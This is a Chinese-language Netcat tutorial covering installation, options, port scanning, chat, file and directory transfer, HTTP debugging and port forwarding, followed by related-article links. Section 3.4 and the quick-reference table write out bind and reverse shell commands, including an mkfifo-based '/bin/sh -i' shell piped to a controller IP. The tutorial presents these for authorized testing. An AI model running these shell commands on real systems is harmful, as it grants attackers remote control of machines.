Netcat (nc) 全面使用指南

Netcat 被誉为网络工具中的"瑞士军刀",是一个功能强大的网络调试和诊断工具。它可以在 TCP/UDP 协议下进行连接、监听、端口扫描、文件传输和代理转发等操作。

一、安装与基本语法

1.1 安装方法
操作系统 安装命令
Ubuntu/Debian sudo apt install netcat-openbsd
CentOS/RHEL sudo yum install nc
macOS brew install netcat
Windows 下载 ncat 或独立 nc.exe
1.2 基本语法
bash 复制代码
nc [选项] [目标主机] [端口]

Netcat 有两种核心工作模式:

模式 说明 典型命令
客户端模式(连接模式) 主动连接到远程主机 nc host port
服务器模式(监听模式) 监听本地端口等待连接 nc -l -p port

二、核心参数详解

2.1 基础参数
参数 说明 示例
-l 监听模式,作为服务器端 nc -l 8080
-p 指定本地端口 nc -l -p 8080
-u 使用 UDP 协议(默认 TCP) nc -u -l 8080
-v 详细输出,-vv 更详细 nc -vz target 80
-n 不进行 DNS 解析 nc -nv 192.168.1.1 80
-z 零 I/O 模式,仅扫描端口 nc -zv target 1-1000
-w 设置超时时间(秒) nc -w 3 target 80
-k 保持监听,接受多个连接 nc -lk 8080
-4 仅使用 IPv4 nc -4 target 80
-6 仅使用 IPv6 nc -6 target 80
2.2 高级参数
参数 说明 适用场景
-e 连接后执行程序(危险!) 反向 Shell
-c 通过 /bin/sh 执行命令 替代 -e
-x 通过代理连接 穿透代理
-X 代理协议(4/5/connect) SOCKS 代理
-N EOF 后关闭 socket 规范关闭连接
2.3 参数差异说明

重要 :不同 Linux 发行版内置的 nc 版本可能有差异:

版本 特点 常见发行版
OpenBSD 版 功能丰富、安全,无 -e 选项 Ubuntu、Debian、macOS
Traditional 版 支持 -e 选项 CentOS 6、RHEL 6
Ncat (Nmap) 功能最全,支持 SSL 可单独安装

查看版本:nc -h 看输出特征判断。

三、核心功能场景

3.1 端口扫描

TCP 端口扫描

bash 复制代码
# 扫描单个端口
nc -zv 192.168.1.1 22

# 扫描端口范围
nc -zv 192.168.1.1 20-100

# 详细扫描(两次 -v)
nc -vvz 192.168.1.1 80-443

# 带超时扫描
nc -zvw 3 192.168.1.1 1-1000

UDP 端口扫描(UDP 扫描可靠性较低):

bash 复制代码
nc -zuv 192.168.1.1 53
nc -zuv 192.168.1.1 1-100

使用说明

  • -z:不发送任何数据,仅检查连接状态
  • -v:显示详细信息,-v -v 显示更详细内容
  • -w 3:设置超时 3 秒,避免长时间等待
3.2 建立 TCP/UDP 连接与聊天

TCP 聊天

bash 复制代码
# 服务器端(监听)
nc -l 8080

# 客户端(连接)
nc 192.168.1.100 8080

UDP 聊天

bash 复制代码
# 服务端
nc -u -l 8080

# 客户端
nc -u 192.168.1.100 8080

连接建立后,双方输入的内容会发送给对方,按 Ctrl+C 退出。

持续监听模式(接受多个连接):

bash 复制代码
nc -lk 8080
3.3 文件传输

传输单个文件

bash 复制代码
# 接收端(服务器)
nc -l 8080 > received_file.txt

# 发送端(客户端)
nc 192.168.1.100 8080 < send_file.txt

传输目录 (结合 tar):

bash 复制代码
# 接收端:监听并解压
nc -l 8080 | tar xzvf -

# 发送端:打包并发送
tar czvf - /path/to/dir | nc 192.168.1.100 8080

传输完成后自动关闭:当发送端文件传输完毕,连接自动关闭。

3.4 远程 Shell(反弹 Shell)

正向 Shell(目标机器主动提供 Shell):

bash 复制代码
# 目标机器(服务器)
nc -l 8080 -e /bin/bash      # Linux(需 -e 支持)
nc -l 8080 -e cmd.exe        # Windows

# 控制端(客户端)
nc target_ip 8080

反向 Shell(更常用,可突破防火墙):

bash 复制代码
# 控制端(等待连接)
nc -l 8080

# 目标机器(主动连接)
nc 控制端IP 8080 -e /bin/bash

无需 -e 的反向 Shell(OpenBSD 版本):

bash 复制代码
# 控制端
nc -l 8080

# 目标机器
mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 控制端IP 8080 > /tmp/f

安全警告-e 功能极不安全,仅限授权测试环境使用。

3.5 HTTP 调试与 Web 服务模拟

手动发送 HTTP 请求

bash 复制代码
# 连接后手动输入
nc example.com 80
GET / HTTP/1.1
Host: example.com

# 或通过 echo 发送
echo -e "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n" | nc example.com 80

模拟简单 Web 服务器

bash 复制代码
# 返回固定内容
echo -e "HTTP/1.1 200 OK\r\n\r\nHello World" | nc -l 8080

# 持续响应(循环)
while true; do echo -e "HTTP/1.1 200 OK\r\n\r\n$(date)" | nc -l 8080; done
3.6 端口转发与代理

基本端口转发

bash 复制代码
# 将本地 8080 转发到目标 80(需命名管道)
mkfifo /tmp/fifo
cat /tmp/fifo | nc target 80 | nc -l 8080 > /tmp/fifo

Ncat 代理功能(功能更完整):

bash 复制代码
# 通过 SOCKS5 代理连接
ncat --proxy socks5://proxy:1080 --proxy-type socks5 target 80

# SSL 加密连接
ncat --ssl target 443

四、实用命令速查

用途 命令
端口扫描 nc -zv target 1-1000
UDP 端口扫描 nc -zuv target 53
简单聊天服务器 nc -l 8080
UDP 聊天 nc -u -l 8080
文件接收 nc -l 8080 > file
文件发送 nc target 8080 < file
目录传输(发送) `tar czf - ./dir
目录传输(接收) `nc -l 8080
HTTP GET 请求 `echo -e "GET / HTTP/1.1\r\nHost: target\r\n\r\n"
简单 Web 服务 `echo -e "HTTP/1.1 200 OK\r\n\r\nOK"
反向 Shell(Linux) nc target 8080 -e /bin/bash
反向 Shell(无 -e) `mkfifo /tmp/f; cat /tmp/f

五、不同版本对比

特性 OpenBSD nc Traditional nc Ncat (Nmap)
默认端口扫描 -z
UDP 支持 -u
-e 选项 ❌ 不支持 ✅ 支持 ✅ 支持
SSL/TLS 加密
代理支持(SOCKS/HTTP) ✅(OpenBSD 新版)
多连接模式 -k
适用场景 日常使用 老脚本/逆向 Shell 安全测试/加密传输

推荐

  • 日常使用 → OpenBSD 版本(系统自带)
  • 需要 -e → 安装 Ncat 或 Traditional 版
  • 需要加密 → 使用 Ncat --ssl 选项

六、注意事项

  1. 安全使用
  • -e 选项极其危险,会暴露系统 Shell,仅限授权测试环境使用
  • 生产环境推荐使用 Ncat + SSL 加密传输敏感数据
  1. 网络影响
  • 高速端口扫描可能被安全设备识别为攻击行为
  • UDP 扫描容易出现误报,应配合其他工具验证
  1. 权限要求
  • 绑定 1024 以下端口需要 root 权限
  • 某些功能需要 root 权限才能正常工作
相关推荐
仰泳之鹅24 分钟前
【物联网】使用MQTTX与OneNET云平台进行模拟MQTT协议通信
网络·物联网
宋浮檀s2 小时前
应急响应——恶意流量&攻击行为识别
linux·运维·网络·网络安全·应急响应
yychen_java2 小时前
6G移动通信:当网络开始“思考”与“感知”
网络·人工智能
basketball6163 小时前
HTTP协议返回状态码总结
网络·网络协议·http
cui_ruicheng4 小时前
Linux网络编程(九):应用层协议与序列化
linux·运维·服务器·网络
茉莉清茶LG4 小时前
虚拟机NAT模式下,无法直接在主机通过IP网址打开界面
网络·网络协议·tcp/ip
IT大白鼠5 小时前
网络层协议深度解析:TCP与UDP的工作原理、报文格式与应用实践
网络·tcp/ip·udp
@encryption5 小时前
计算机网络 --- LSA
网络·计算机网络·智能路由器
谪星·阿凯6 小时前
内网渗透之权限维持:从域环境到单机的持久化控制指南
运维·服务器·网络·网络安全